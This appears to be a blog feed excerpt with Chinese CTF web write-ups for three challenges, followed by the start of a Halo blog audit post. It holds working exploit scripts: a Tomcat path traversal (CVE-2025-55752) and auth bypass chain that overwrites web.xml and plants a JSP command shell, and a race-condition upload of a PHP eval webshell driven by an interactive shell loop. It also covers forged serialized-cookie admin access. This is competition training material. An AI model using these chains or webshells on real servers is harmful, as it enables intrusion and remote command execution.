</content:encoded></item><item><title>pcb-2025-web</title><link>https://origin618.github.io/posts/pcb5-2025-web/</link><guid isPermaLink="true">https://origin618.github.io/posts/pcb5-2025-web/</guid><description>pcb-2025-web</description><pubDate>Mon, 15 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;pcs5-ez_java&lt;/h1&gt;
&lt;p&gt;打开示例又是一个登录框，admin被占用就用Admin注册&lt;/p&gt;
&lt;p&gt;成功登录&lt;/p&gt;
&lt;p&gt;根据前面题目的经验，打开cookie发现是jwt编码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../../public/pcb5-ez_java/image1-1765879704414-14-1765879840107-2.png&quot; alt=&quot;image1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;将Admin改为admin编码&lt;/p&gt;
&lt;p&gt;&lt;code&gt;eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTc2NTYyMjE4M30.uqlZpRIPHzHnA45-ddAwJwLT1Ga6an55bsBk2tMlvckXWETrXM3jM5jrG4kKdI-zFhn6GOVUQCV1IkdDlFwsrQ&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;奇怪的来了，后台显示未经授权&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../../public/pcb5-ez_java/image2-1765879840107-3.png&quot; alt=&quot;image2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;好在这里报错爆出了apache服务器和版本Apache Tomcat/9.0.108&lt;/p&gt;
&lt;p&gt;根据提示&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;RewriteCond %{QUERY_STRING} (^|&amp;amp;)path=([^&amp;amp;]+) RewriteRule ^/download$ /%2 [B,L]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;发现这里存在&lt;code&gt;CVE-2025-55752&lt;/code&gt;，也就是&lt;code&gt;Apache Tomcat RewriteValve目录遍历漏洞&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;https://blog.csdn.net/AKM4180/article/details/154134981&lt;/p&gt;
&lt;p&gt;访问web.xml文件：&lt;code&gt;/download?path=%2fWEB-INF%2fweb.xml&lt;/code&gt;，得到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../../public/pcb5-ez_java/image3-1765879725336-19-1765879840107-4.png&quot; alt=&quot;image3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里有好几个servlet，我们先读取AdminDashboardServlet&lt;/p&gt;
&lt;p&gt;http://192.168.18.25:25004/download?path=%2FWEB-INF%2Fclasses%2Fcom%2Fctf%2FBackUpServlet.class&lt;/p&gt;
&lt;p&gt;得到一个download，将源码反编译得到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../../public/pcb5-ez_java/image4-1765879729406-21-1765879840107-5.png&quot; alt=&quot;image4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其中&lt;code&gt;validateAdmin&lt;/code&gt;方法存在逻辑漏洞：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    static boolean validateAdmin(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        Cookie[] cookies = req.getCookies();
        if (cookies != null) {
            for(Cookie cookie : cookies) {
                if (&quot;jwt&quot;.equals(cookie.getName())) {
                    String value = cookie.getValue();
                    String username = JwtUtil.validateToken(value);
                    if (username == null) {
                        resp.sendError(401);
                        return false;
                    }

                    if (username.compareTo(&quot;admin&quot;) != 0) {
                        resp.sendError(401);
                        return false;
                    }
                }
            }
        }

        resp.setContentType(&quot;application/json;charset=UTF-8&quot;);
        return true;
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段代码代表当&lt;strong&gt;不携带任何 Cookie&lt;/strong&gt; 时，将会执行&lt;code&gt;return true&lt;/code&gt;操作，也就是不携带cookie即可访问&lt;code&gt;/admin/&lt;/code&gt;路由下所有接口&lt;/p&gt;
&lt;p&gt;浏览器并未开启jsp解析服务，所以我们要上传包含&lt;code&gt;JspServlet&lt;/code&gt;的恶意&lt;code&gt;web.xml&lt;/code&gt;配置，覆盖带原有&lt;code&gt;WEB-INF/web.xml&lt;/code&gt;，使服务器能够解析我们的恶意jsp文件（webshell)&lt;/p&gt;
&lt;p&gt;其中&lt;code&gt;renameFile&lt;/code&gt;方法的&lt;code&gt;getCanonicalFile&lt;/code&gt;对文件路径进行检测，解析掉所有的&quot;.&quot;和&quot;..&quot;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;File base = (new File(this.getServletContext().getRealPath(resourceDir))).getCanonicalFile();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以我们需要将resourceDir设置为&quot;.&quot;，然后通过&lt;code&gt;/admin/rename&lt;/code&gt;将上传的恶意web.xml改为WEB-INF/web.xml&lt;/p&gt;
&lt;p&gt;Tomcat检测到新的web.xml会自动重载应用，上传我们的jsp webshell即可执行命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import time
import sys

# ================= 配置区域 =================
URL = &quot;http://192.168.18.25:25004&quot;
CMD_TO_EXECUTE = &quot;cat /flag&quot;  # 获取 flag 的命令
PROXY = None # {&quot;http&quot;: &quot;http://127.0.0.1:8080&quot;}  # 如果需要 Burp 调试，取消注释

# ================= Payload 构造 =================

# 1. 恶意的 web.xml (修正版：包含原有业务配置)
# 作用：在保留原有上传/管理功能的基础上，强行开启 JSP 解析
MALICIOUS_WEB_XML = &quot;&quot;&quot;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;web-app xmlns=&quot;http://xmlns.jcp.org/xml/ns/javaee&quot;
         xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;
         xsi:schemaLocation=&quot;http://xmlns.jcp.org/xml/ns/javaee
         http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd&quot;
         version=&quot;4.0&quot;&amp;gt;

  &amp;lt;servlet&amp;gt;
      &amp;lt;servlet-name&amp;gt;jsp&amp;lt;/servlet-name&amp;gt;
      &amp;lt;servlet-class&amp;gt;org.apache.jasper.servlet.JspServlet&amp;lt;/servlet-class&amp;gt;
      &amp;lt;init-param&amp;gt;
          &amp;lt;param-name&amp;gt;fork&amp;lt;/param-name&amp;gt;
          &amp;lt;param-value&amp;gt;false&amp;lt;/param-value&amp;gt;
      &amp;lt;/init-param&amp;gt;
      &amp;lt;init-param&amp;gt;
          &amp;lt;param-name&amp;gt;xpoweredBy&amp;lt;/param-name&amp;gt;
          &amp;lt;param-value&amp;gt;false&amp;lt;/param-value&amp;gt;
      &amp;lt;/init-param&amp;gt;
      &amp;lt;load-on-startup&amp;gt;3&amp;lt;/load-on-startup&amp;gt;
  &amp;lt;/servlet&amp;gt;
  &amp;lt;servlet-mapping&amp;gt;
      &amp;lt;servlet-name&amp;gt;jsp&amp;lt;/servlet-name&amp;gt;
      &amp;lt;url-pattern&amp;gt;*.jsp&amp;lt;/url-pattern&amp;gt;
  &amp;lt;/servlet-mapping&amp;gt;

  &amp;lt;servlet&amp;gt;
    &amp;lt;servlet-name&amp;gt;LoginServlet&amp;lt;/servlet-name&amp;gt;
    &amp;lt;servlet-class&amp;gt;com.ctf.LoginServlet&amp;lt;/servlet-class&amp;gt;
  &amp;lt;/servlet&amp;gt;
  &amp;lt;servlet&amp;gt;
    &amp;lt;servlet-name&amp;gt;RegisterServlet&amp;lt;/servlet-name&amp;gt;
    &amp;lt;servlet-class&amp;gt;com.ctf.RegisterServlet&amp;lt;/servlet-class&amp;gt;
  &amp;lt;/servlet&amp;gt;
  
  &amp;lt;servlet&amp;gt;
    &amp;lt;servlet-name&amp;gt;DashboardServlet&amp;lt;/servlet-name&amp;gt;
    &amp;lt;servlet-class&amp;gt;com.ctf.DashboardServlet&amp;lt;/servlet-class&amp;gt;
    &amp;lt;multipart-config&amp;gt;
      &amp;lt;max-file-size&amp;gt;10485760&amp;lt;/max-file-size&amp;gt;
      &amp;lt;max-request-size&amp;gt;20971520&amp;lt;/max-request-size&amp;gt;
      &amp;lt;file-size-threshold&amp;gt;0&amp;lt;/file-size-threshold&amp;gt;
    &amp;lt;/multipart-config&amp;gt;
  &amp;lt;/servlet&amp;gt;
  
  &amp;lt;servlet&amp;gt;
    &amp;lt;servlet-name&amp;gt;AdminDashboardServlet&amp;lt;/servlet-name&amp;gt;
    &amp;lt;servlet-class&amp;gt;com.ctf.AdminDashboardServlet&amp;lt;/servlet-class&amp;gt;
    &amp;lt;multipart-config&amp;gt;
      &amp;lt;max-file-size&amp;gt;10485760&amp;lt;/max-file-size&amp;gt;
      &amp;lt;max-request-size&amp;gt;20971520&amp;lt;/max-request-size&amp;gt;
      &amp;lt;file-size-threshold&amp;gt;0&amp;lt;/file-size-threshold&amp;gt;
    &amp;lt;/multipart-config&amp;gt;
  &amp;lt;/servlet&amp;gt;
  
  &amp;lt;servlet&amp;gt;
    &amp;lt;servlet-name&amp;gt;BackUpServlet&amp;lt;/servlet-name&amp;gt;
    &amp;lt;servlet-class&amp;gt;com.ctf.BackUpServlet&amp;lt;/servlet-class&amp;gt;
  &amp;lt;/servlet&amp;gt;

  &amp;lt;servlet-mapping&amp;gt;
    &amp;lt;servlet-name&amp;gt;LoginServlet&amp;lt;/servlet-name&amp;gt;
    &amp;lt;url-pattern&amp;gt;/login&amp;lt;/url-pattern&amp;gt;
  &amp;lt;/servlet-mapping&amp;gt;
  &amp;lt;servlet-mapping&amp;gt;
    &amp;lt;servlet-name&amp;gt;RegisterServlet&amp;lt;/servlet-name&amp;gt;
    &amp;lt;url-pattern&amp;gt;/register&amp;lt;/url-pattern&amp;gt;
  &amp;lt;/servlet-mapping&amp;gt;
  &amp;lt;servlet-mapping&amp;gt;
    &amp;lt;servlet-name&amp;gt;DashboardServlet&amp;lt;/servlet-name&amp;gt;
    &amp;lt;url-pattern&amp;gt;/dashboard/*&amp;lt;/url-pattern&amp;gt;
  &amp;lt;/servlet-mapping&amp;gt;
  &amp;lt;servlet-mapping&amp;gt;
    &amp;lt;servlet-name&amp;gt;AdminDashboardServlet&amp;lt;/servlet-name&amp;gt;
    &amp;lt;url-pattern&amp;gt;/admin/*&amp;lt;/url-pattern&amp;gt;
  &amp;lt;/servlet-mapping&amp;gt;
  &amp;lt;servlet-mapping&amp;gt;
    &amp;lt;servlet-name&amp;gt;BackUpServlet&amp;lt;/servlet-name&amp;gt;
    &amp;lt;url-pattern&amp;gt;/backup/*&amp;lt;/url-pattern&amp;gt;
  &amp;lt;/servlet-mapping&amp;gt;

  &amp;lt;welcome-file-list&amp;gt;
    &amp;lt;welcome-file&amp;gt;index.html&amp;lt;/welcome-file&amp;gt;
  &amp;lt;/welcome-file-list&amp;gt;
&amp;lt;/web-app&amp;gt;
&quot;&quot;&quot;

# 2. JSP Webshell (增强版：支持标准输出和错误输出)
JSP_SHELL = r&quot;&quot;&quot;&amp;lt;%@ page import=&quot;java.io.*,java.util.*&quot; %&amp;gt;
&amp;lt;pre&amp;gt;
&amp;lt;%
    String cmd = request.getParameter(&quot;cmd&quot;);
    if (cmd != null) {
        // 使用 /bin/sh -c 兼容管道符和复杂命令
        Process p = Runtime.getRuntime().exec(new String[]{&quot;/bin/sh&quot;, &quot;-c&quot;, cmd});
        InputStream in = p.getInputStream();
        Scanner s = new Scanner(in).useDelimiter(&quot;\\A&quot;);
        String output = s.hasNext() ? s.next() : &quot;&quot;;
        
        InputStream err = p.getErrorStream();
        Scanner sErr = new Scanner(err).useDelimiter(&quot;\\A&quot;);
        String error = sErr.hasNext() ? sErr.next() : &quot;&quot;;
        
        out.println(output + error);
    }
%&amp;gt;
&amp;lt;/pre&amp;gt;&quot;&quot;&quot;

# ================= 工具函数 =================

def set_resource_dir(path):
    &quot;&quot;&quot;利用 Auth Bypass 设置 resourceDir 为 WebRoot&quot;&quot;&quot;
    print(f&quot;[*] Setting ResourceDir to: {path}&quot;)
    try:
        # 关键：不带 cookies 触发 Auth Bypass
        r = requests.post(f&quot;{URL}/admin/challengeResourceDir&quot;, 
                          data={&quot;new-path&quot;: path},
                          proxies=PROXY)
        if r.status_code == 200:
            print(&quot;[+] ResourceDir set successfully.&quot;)
            return True
        else:
            print(f&quot;[-] Failed to set ResourceDir: {r.status_code} - {r.text}&quot;)
            return False
    except Exception as e:
        print(f&quot;[-] Error: {e}&quot;)
        return False

def upload_file(filename, content):
    &quot;&quot;&quot;模拟文件上传，目标接口通常是 /dashboard/upload 或 /admin/upload&quot;&quot;&quot;
    print(f&quot;[*] Uploading/Writing file: {filename}&quot;)
    try:
        files = {&apos;file&apos;: (filename, content)}
        # 尝试使用 dashboard upload，如果失败可以换 /admin/upload
        upload_url = f&quot;{URL}/dashboard/upload&quot; 
        # upload_url = f&quot;{URL}/admin/upload&quot; # 备用接口
        
        r = requests.post(upload_url, files=files, proxies=PROXY)
        
        if r.status_code == 200:
            print(f&quot;[+] File {filename} uploaded.&quot;)
            return True
        else:
            # 有时候虽然报 500 或其他错，但文件其实写进去了，检查一下
            print(f&quot;[-] Upload status: {r.status_code}. Checking file existence...&quot;)
            check = requests.get(f&quot;{URL}/{filename}&quot;, proxies=PROXY)
            if check.status_code == 200:
                print(f&quot;[+] Check passed: {filename} exists on server.&quot;)
                return True
            return False
    except Exception as e:
        print(f&quot;[-] Upload Error: {e}&quot;)
        return False

def rename_file(old_path, new_path):
    &quot;&quot;&quot;利用 rename 接口移动/覆盖文件&quot;&quot;&quot;
    print(f&quot;[*] Renaming {old_path} -&amp;gt; {new_path}&quot;)
    try:
        r = requests.post(f&quot;{URL}/admin/rename&quot;, 
                          data={&quot;oldPath&quot;: old_path, &quot;newName&quot;: new_path},
                          proxies=PROXY)
        # 检查返回内容确认是否成功
        if r.status_code == 200 and (&apos;&quot;renamed&quot;:true&apos; in r.text or &apos;true&apos; in r.text):
            print(&quot;[+] Rename successful.&quot;)
            return True
        else:
            print(f&quot;[-] Rename failed: {r.text}&quot;)
            return False
    except Exception as e:
        print(f&quot;[-] Rename Error: {e}&quot;)
        return False

def execute_cmd(shell_name, cmd):
    print(f&quot;[*] Executing command: {cmd}&quot;)
    try:
        target = f&quot;{URL}/{shell_name}&quot;
        r = requests.get(target, params={&quot;cmd&quot;: cmd}, proxies=PROXY)
        if r.status_code == 200:
            print(&quot;\n&quot; + &quot;=&quot;*20 + &quot; OUTPUT &quot; + &quot;=&quot;*20)
            print(r.text.strip())
            print(&quot;=&quot;*48 + &quot;\n&quot;)
        else:
            print(f&quot;[-] Execution failed: {r.status_code}&quot;)
    except Exception as e:
        print(f&quot;[-] Exec Error: {e}&quot;)

# ================= 主流程 =================

def main():
    print(&quot;[*] Starting Exploitation...&quot;)
    
    # 1. 设置 ResourceDir 为 WebRoot (.)
    # 这是所有文件操作的前提，打破目录限制
    if not set_resource_dir(&quot;.&quot;):
        return

    # 2. 上传包含完整配置的恶意 web.xml
    # 先传为临时文件，防止直接覆盖出错
    temp_xml_name = &quot;pwn_web.xml&quot;
    if not upload_file(temp_xml_name, MALICIOUS_WEB_XML):
        print(&quot;[-] Aborting: Failed to upload web.xml content.&quot;)
        return

    # 3. 覆盖 WEB-INF/web.xml
    # 这一步会触发 Tomcat 重载
    if not rename_file(temp_xml_name, &quot;WEB-INF/web.xml&quot;):
        print(&quot;[-] Aborting: Failed to overwrite web.xml.&quot;)
        return

    # 4. 等待 Tomcat 重载配置 (Reload Context)
    print(&quot;[*] Waiting 15 seconds for Tomcat to reload configuration...&quot;)
    time.sleep(15)

    # 5. 【重要补刀】重载后，ResourceDir 变量可能会重置回默认值
    # 所以为了保险，我们再次将其设置为 &quot;.&quot;，确保后续上传的 shell 能被正确 rename
    print(&quot;[*] Re-setting ResourceDir to . after reload...&quot;)
    set_resource_dir(&quot;.&quot;)

    # 6. 上传并部署 JSP Shell
    # 先传为 txt 绕过可能存在的后缀检查（虽然 web.xml 已经放行了，但稳健为主）
    temp_shell_name = &quot;shell.txt&quot;
    final_shell_name = &quot;shell.jsp&quot;
    
    if not upload_file(temp_shell_name, JSP_SHELL):
        print(&quot;[-] Failed to upload shell content.&quot;)
        return
    
    if not rename_file(temp_shell_name, final_shell_name):
        print(&quot;[-] Failed to rename shell to .jsp.&quot;)
        return

    # 7. 执行命令获取 Flag
    print(&quot;[+] Exploit chain completed! Testing RCE...&quot;)
    execute_cmd(final_shell_name, CMD_TO_EXECUTE)

if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;pcb5-ez_php&lt;/h1&gt;
&lt;p&gt;开局一个登录框，尝试弱口令和注入都无解，弹窗username or password err&lt;/p&gt;
&lt;p&gt;&lt;code&gt;alert(&apos;username or password err&apos;);&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;遂爆破目录得到/flag.php,/test.txt,/upload.php接口
访问&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../../public/pcb5-ez_java/image1-1765879840107-6.png&quot; alt=&quot;image1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;将乱码还原得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; CTF 比赛日记：小明的一天

今天，小明参加了一个线下 CTF（Capture The Flag）比赛。这是他第一次真正参与这类比赛，虽然之前在网上做过一些 CTF 题目，但和真正的比赛还是有很大的区别。

 遇到的挑战与解题过程

1. 密码学挑战（Crypto）

比赛一开始，小明就被一道加密题难住了。

题目特征： 密文看起来像是 Base64 编码，但解码后依然不对劲。

解题思路： 小明回忆起曾学过如何处理 异或加密（XOR），于是决定尝试使用一些常见的异或破解工具。

结果： 最终顺利破解了这一关。

2. Web 安全挑战（Web Security）

接下来是一道 Web 安全题目，是一个简单的登录界面。

题目特征： 登录界面。

攻击尝试： 经过一些基本的 SQL 注入（SQL Injection, SQLi） 尝试后 , 他发现系统对用户名输入没有进行适当的过滤。

结果： 成功执行了 SQL 注入，获取到了管理员的用户名和密码。

3. 二进制逆向挑战（Reverse Engineering, Re）

晚上，小明和队友们讨论了一个二进制逆向题。

题目特征： 题目提供了一个加密的文件，要求找出密钥。

解题过程： 通过 静态分析 和 动态调试 的方法。

结果： 最终找到了密钥并提交了解题结果。

 比赛总结与展望

小明觉得整个过程非常充实和有趣。

自我认知： 他意识到自己在 CTF 领域的不足，特别是在一些 二进制逆向 和 网络安全 方面。

收获： 今天的比赛让他学到了很多新的知识，也激发了他继续挑战更高难度题目的动力。

期待下次能够表现得更好！
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;后面发现无论怎么输入都是弹窗，于是尝试伪造admin。查看&lt;code&gt;cookie&lt;/code&gt;，base64还原得到一串序列化字符，测试伪造admin得到
&lt;code&gt;TzoxMjoiU2Vzc2lvblxVc2VyIjoxOntzOjIyOiIAU2Vzc2lvblxVc2VyAHVzZXJuYW1lIjtzOjU6ImFkYWRtaW5taW4iO30=&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;将cookie放入进入后台&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../../public/pcb5-ez_java/image2-1765879840085-1.png&quot; alt=&quot;image2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;通过对功能点的不断测试，有个文件读取功能有提示&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../../public/pcb5-ez_java/image3-1765879840108-7.png&quot; alt=&quot;image3&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;errors log&lt;/p&gt;
&lt;p&gt;You cannot read .php files
try to bypass&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;发现不能读取.php文件，我们尝试绕过&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../../public/pcb5-ez_java/image4-1765879840108-9.png&quot; alt=&quot;image4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在flag.php后面加个/，读到flag&lt;/p&gt;
&lt;p&gt;&lt;code&gt;flag{8fee436d-176e-4b69-80ce-3b2ed0eee331}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;pcb5-Uplssse&lt;/h1&gt;
&lt;p&gt;同样登入容易一个登录框，不一样的是这次可以注册&lt;/p&gt;
&lt;p&gt;我们注册一个admin用户发现已存在该用户，于是注册Admin用户注册并登录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../../public/pcb5-ez_java/image5-1765879840108-8.png&quot; alt=&quot;image5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;提示只有&lt;code&gt;admin&lt;/code&gt;可以上传文件哦&lt;/p&gt;
&lt;p&gt;我们将cookie解码，同样得到一串序列化字符串
&lt;code&gt;O:4:&quot;User&quot;:4:{s:8:&quot;username&quot;;s:5:&quot;Admin&quot;;s:8:&quot;password&quot;;s:6:&quot;123456&quot;;s:10:&quot;isLoggedIn&quot;;b:1;s:8:&quot;is_admin&quot;;i:0;}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;我们将Admin改为admin，is_admin值改为1，base64解码提交&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjY6IjEyMzQ1NiI7czoxMDoiaXNMb2dnZWRJbiI7YjoxO3M6ODoiaXNfYWRtaW4iO2k6MTt9&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../../public/pcb5-ez_java/image6-1765879840108-10.png&quot; alt=&quot;image6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功登录&lt;/p&gt;
&lt;p&gt;先随便上传一个文件，发现jpg,jpeg,txt等文件能上传，&lt;code&gt;php&lt;/code&gt;被禁&lt;/p&gt;
&lt;p&gt;得到&lt;code&gt;/var/www/html/tmp/&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;安全提示&lt;/p&gt;
&lt;p&gt;系统会对所有上传文件进行内容安全检测&lt;/p&gt;
&lt;p&gt;检测过程可能需要几秒钟时间&lt;/p&gt;
&lt;p&gt;违规文件将被自动删除&lt;/p&gt;
&lt;p&gt;根据提示系统会对所有上传文件进行内容安全检测，且违规文件将被自动删除
猜测是考文件上传条件竞争&lt;/p&gt;
&lt;p&gt;用Wappalyzer得出是apache服务器版本&lt;code&gt;2.4.25&lt;/code&gt;，同时禁用&lt;code&gt;php&lt;/code&gt;，&lt;/p&gt;
&lt;p&gt;于是尝试上传&lt;code&gt;.htaccess&lt;/code&gt;配置文件进行绕过
我们通过upload_test_php_worker，持续不断地上传一个带有恶意载荷的 test.php 文件。
通过trigger_tmp_worker，持续不断地请求服务器上的 &lt;code&gt;/tmp/test.php&lt;/code&gt; 文件&lt;/p&gt;
&lt;p&gt;同时在test.php中写入交互式shell，得到payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import threading
import time
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed

TARGET_HOST = &quot;192.168.18.26&quot;
TARGET_PORT = 25002
BASE_URL = f&quot;http://{TARGET_HOST}:{TARGET_PORT}&quot;
UPLOAD_URL = f&quot;{BASE_URL}/upload.php&quot;

COOKIE = &quot;user_auth=Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjQ6InRlc3QiO3M6MTA6ImlzTG9nZ2VkSW4iO2I6MTtzOjg6ImlzX2FkbWluIjtpOjE7fQ==&quot;

cookies = {&quot;user_auth&quot;: COOKIE.split(&quot;=&quot;, 1)[1]}

# 全局标志：是否已成功写入 shell
shell_written = False
lock = threading.Lock()

# 请求会话（复用连接，提升性能）
session = requests.Session()
session.cookies.update(cookies)
session.headers.update({
    &quot;User-Agent&quot;: &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36&quot;
})

def safe_post(url, files=None, data=None, timeout=5):
    try:
        return session.post(url, files=files, data=data, timeout=timeout)
    except Exception:
        return None

def safe_get(url, timeout=3):
    try:
        return session.get(url, timeout=timeout)
    except Exception:
        return None

def upload_htaccess():
    files = {
        &apos;file&apos;: (&apos;.htaccess&apos;, b&apos;Require all granted&apos;, &apos;image/jpeg&apos;),
        &apos;upload&apos;: (None, &apos;上传文件&apos;)
    }
    resp = safe_post(UPLOAD_URL, files=files, timeout=6)
    if resp and resp.status_code &amp;lt; 400:
        print(&quot;[+] .htaccess 上传成功&quot;)
    else:
        print(&quot;[-] .htaccess 上传失败或被拒绝&quot;)

def upload_test_php_worker():
    global shell_written
    # 使用单引号包裹外层，避免转义；内层用双引号
    payload_content = b&quot;&amp;lt;?php fputs(fopen(&apos;shell.php&apos;, &apos;w&apos;), &apos;&amp;lt;?php eval($_POST[\&quot;cmd\&quot;]); ?&amp;gt;&apos;); phpinfo(); ?&amp;gt;&quot;
    while not shell_written:
        files = {
            &apos;file&apos;: (&apos;test.php&apos;, payload_content, &apos;image/jpeg&apos;),
            &apos;upload&apos;: (None, &apos;上传文件&apos;)
        }
        safe_post(UPLOAD_URL, files=files, timeout=4)
        time.sleep(0.01)  # 避免压垮本地资源

def trigger_tmp_worker():
    global shell_written
    trigger_url = f&quot;{BASE_URL}/tmp/test.php&quot;
    while not shell_written:
        resp = safe_get(trigger_url, timeout=2)
        if resp and resp.status_code == 200:
            # 判断是否包含 phpinfo 特征 或 至少有 PHP 输出
            if b&quot;PHP Version&quot; in resp.content or b&quot;&amp;lt;title&amp;gt;PHP&quot; in resp.content:
                with lock:
                    if not shell_written:
                        shell_written = True
                        print(&quot;\n[!!!] 成功触发 /tmp/test.php！shell.php 应已写入（密码: cmd）&quot;)
        time.sleep(0.02)

def exploit_shell():
    shell_url = f&quot;{BASE_URL}/tmp/shell.php&quot;
    test_payload = {&quot;cmd&quot;: &quot;echo &apos;SHELL_READY_12345&apos;;&quot;}
    try:
        resp = session.post(shell_url, data=test_payload, timeout=6)
        if resp and &quot;SHELL_READY_12345&quot; in resp.text:
            print(&quot;[+] shell.php 可用！密码参数为 &apos;cmd&apos;&quot;)
            print(&quot;[*] 输入命令执行（输入 &apos;exit&apos; 退出）&quot;)
            while True:
                try:
                    cmd = input(&quot;\n[#] $ &quot;).strip()
                    if cmd.lower() in (&quot;exit&quot;, &quot;quit&quot;):
                        break
                    if not cmd:
                        continue
                    # 执行系统命令
                    exec_payload = {&quot;cmd&quot;: f&quot;system(&apos;{cmd}&apos;);&quot;}
                    r = session.post(shell_url, data=exec_payload, timeout=12)
                    if r:
                        # 清理多余 HTML（可选）
                        output = r.text
                        print(output)
                    else:
                        print(&quot;[-] 请求无响应&quot;)
                except KeyboardInterrupt:
                    print(&quot;\n[!] 中断命令输入&quot;)
                    break
        else:
            print(&quot;[-] shell.php 未生效（可能写入失败或路径错误）&quot;)
            # 尝试直接访问看是否存在
            check = safe_get(shell_url)
            if check and check.status_code == 200:
                print(&quot;    [?] shell.php 存在但无法执行命令（可能 disable_functions）&quot;)
            else:
                print(&quot;    [?] shell.php 不存在&quot;)
    except Exception as e:
        print(f&quot;[-] 访问 shell.php 出错: {e}&quot;)

def main():
    global shell_written
    print(f&quot;[+] 目标: {BASE_URL}&quot;)
    print(&quot;[*] 正在上传 .htaccess...&quot;)
    upload_htaccess()

    print(&quot;[*] 启动高并发条件竞争（上传 + 触发）...&quot;)
    total_workers = 50  # 总线程数
    upload_workers = 35
    trigger_workers = 15

    with ThreadPoolExecutor(max_workers=total_workers) as executor:
        futures = []

        # 提交上传任务
        for _ in range(upload_workers):
            futures.append(executor.submit(upload_test_php_worker))

        # 提交触发任务
        for _ in range(trigger_workers):
            futures.append(executor.submit(trigger_tmp_worker))

        # 等待任一成功信号
        while not shell_written:
            time.sleep(0.1)

        # 取消所有任务（非强制，但停止新任务）
        print(&quot;[*] 条件竞争成功，等待线程收尾...&quot;)

    # 利用 shell
    exploit_shell()

if __name__ == &quot;__main__&quot;:
    try:
        main()
    except KeyboardInterrupt:
        print(&quot;\n[!] 用户强制退出&quot;)
        sys.exit(1)
    except Exception as e:
        print(f&quot;[!] 脚本异常: {e}&quot;)
        sys.exit(1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;../../../public/pcb5-ez_java/image7-1765879840108-11.png&quot; alt=&quot;image7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag在&lt;code&gt;/flag6f67186d&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;最终&lt;code&gt;flag{121b0e889c7949799ff2dec7dedad081}&lt;/code&gt;&lt;/p&gt;
</content:encoded></item><item><title>Halo博客系统审计</title><link>https://origin618.github.io/posts/halo%E5%8D%9A%E5%AE%A2%E7%B3%BB%E7%BB%9F%E5%AE%A1%E8%AE%A1/</link><guid isPermaLink="true">https://origin618.github.io/posts/halo%E5%8D%9A%E5%AE%A2%E7%B3%BB%E7%BB%9F%E5%AE%A1%E8%AE%A1/</guid><description>Halo博客系统审计</description><pubDate>Wed, 10 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;项目搭建&lt;/h1&gt;
&lt;p&gt;轻快，简洁，功能强大，使用 Java 开发的博客系统。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;软件名称&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;版本&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;操作系统&lt;/td&gt;
&lt;td&gt;Windows10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Java&lt;/td&gt;
&lt;td&gt;JDK1.8_261（https://www.oracle.com/co/java/technologies/javase/javase8-archive-downloads.html，往下滑）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Maven&lt;/td&gt;
